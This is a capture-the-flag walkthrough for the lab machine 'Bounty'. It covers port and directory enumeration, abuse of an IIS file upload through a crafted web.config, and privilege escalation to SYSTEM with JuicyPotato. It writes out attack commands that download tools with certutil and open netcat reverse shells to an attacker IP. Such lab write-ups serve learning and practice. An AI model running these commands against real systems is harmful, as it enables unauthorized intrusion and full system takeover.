Bounty

Enumeration

As always, we start with the enumeration phase, in which we try to scan the machine looking for open ports and finding out services and versions of those opened ports.

The following nmap command will scan the target machine looking for open ports in a fast way and saving the output into a file:

nmap -sS --min-rate 5000 -p- -T5 -Pn -n 10.10.10.93 -oN allPorts

  • -sS use the TCP SYN scan option. This scan option is relatively unobtrusive and stealthy, since it never completes TCP connections.

  • --min-rate 5000 nmap will try to keep the sending rate at or above 5000 packets per second.

  • -p- scanning the entire port range, from 1 to 65535.

  • -T5 insane mode, it is the fastest mode of the nmap time template.

  • -Pn assume the host is online.

  • -n scan without reverse DNS resolution.

  • -oN save the scan result into a file, in this case the allports file.

Now that we know which ports are open, let's try to obtain the services and versions running on these ports. The following command will scan these ports more in depth and save the result into a file:

nmap -sC -sV -p80 10.10.10.93 -oN targeted

  • -sC performs the scan using the default set of scripts.

  • -sV enables version detection.

  • -oN save the scan result into file, in this case the targeted file.

The website only has one image.

Let's list directories with gobuster.

gobuster dir -u http://10.10.10.93 -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -t 200 -x aspx

  • dir enumerates directories or files.

  • -u the target URL.

  • -w path to the wordlist.

  • -t number of current threads, in this case 200 threads.

  • -x file extensions to search for.

The /transfer.aspx allow us to upload files to the server.

But we can't list the content of the /UploadedFiles directory.

Let's try to upload a simple test.txt file.

An error pops up saying that the file is not valid. This might be happening because of the file extension. Let's intercept the upload request and brute-force the extension with the Intruder. Once the request is in the Intruder, add the payload to .txt only.

Then, in the Payloads tab, under the Payload Options, load the /SecLists/Discovery/Web-Content/raft-small-extensions-lowercase.txt extensions dictionary from SecLists.

Make sure to disable the following option.

Then click in Start attack. Once the attack has started, order the lines based on the length of the response. Then responses with more bytes in the response will be extensions that the website supports.

Exploitation

As we can see, the website supports extensions as .jpg, .png or .jpeg. It also supports the .config extension. If we search for exploits with that extension in IIS web servers, we'll find this article explaining how we can execute commands on the server by injection ASP code into a file web.config with the following content. The ASP code must be placed in between the last comment tags. In this case, the exploit will execute a command which will send us a reverse shell by executing nc.exe from a share that we will set later.

nano web.config

Let's set a simple SMB server on the directory where the nc.exe binary is placed.

impacket-smbserver smbFolder $(pwd) -smb2support

And a netcat listener on port 4444 with rlwrap.

rlwrap nc -lvnp 4444

  • -l listen mode.

  • -v verbose mode.

  • -n numeric-only IP, no DNS resolution.

  • -p specify the port to listen on.

Upload the web.config file to the web server.

If we access the web.config file from the /UploadedFiles directory, we should catch a reverse shell as the merlin user, and we'll be able to grab the user flag.

http://10.10.10.93/uploadedfiles/web.config

Privilege Escalation

Let's start by seeing what privileges the user merlin has.

whoami /priv

If a user has the SeImpersonatePrivilege, the first thing that comes to mind is JuicyPotato.

JuicyPotato is a local privilege escalation tool for Windows, which uses COM objects for privilege escalation. It is needed that SeImpersonate or SeAssignPrimaryToken are enabled.

https://github.com/ohpe/juicy-potato

To escalate privileges, we'll have to transfer JuicyPotato.exe and nc.exe binaries to the victim machine. Let's set a python HTTP server on the directory where we have those binaries.

python -m SimpleHTTPServer

And download the binaries from the desktop folder of the tolis user.

certutil.exe -f -urlcache -split http://10.10.14.11:8000/JuicyPotato.exe JuicyPotato.exe

certutil.exe -f -urlcache -split http://10.10.14.11:8000/nc.exe nc.exe

Before executing the JuicyPotato.exe binary, let's set another netcat listener on port 5555 to catch a reverse shell as the NT AUTHORITY\SYSTEM user.

nc -lvnp 5555

  • -l listen mode.

  • -v verbose mode.

  • -n numeric-only IP, no DNS resolution.

  • -p specify the port to listen on.

Finally, let's run the Juicy Potato binary and get a shell as the NT AUTHORITY\SYSTEM user. Then all we have to do is reap the harvest and take the root flag.

JuicyPotato.exe -t * -l 1337 -p C:\Windows\System32\cmd.exe -a "/c C:\users\merlin\desktop\nc.exe -e cmd 10.10.14.11 5555"

  • -t createprocess call.

  • -l COM server listen port.

  • -p program to launch.

  • -a specify command arguments.

Last updated

Was this helpful?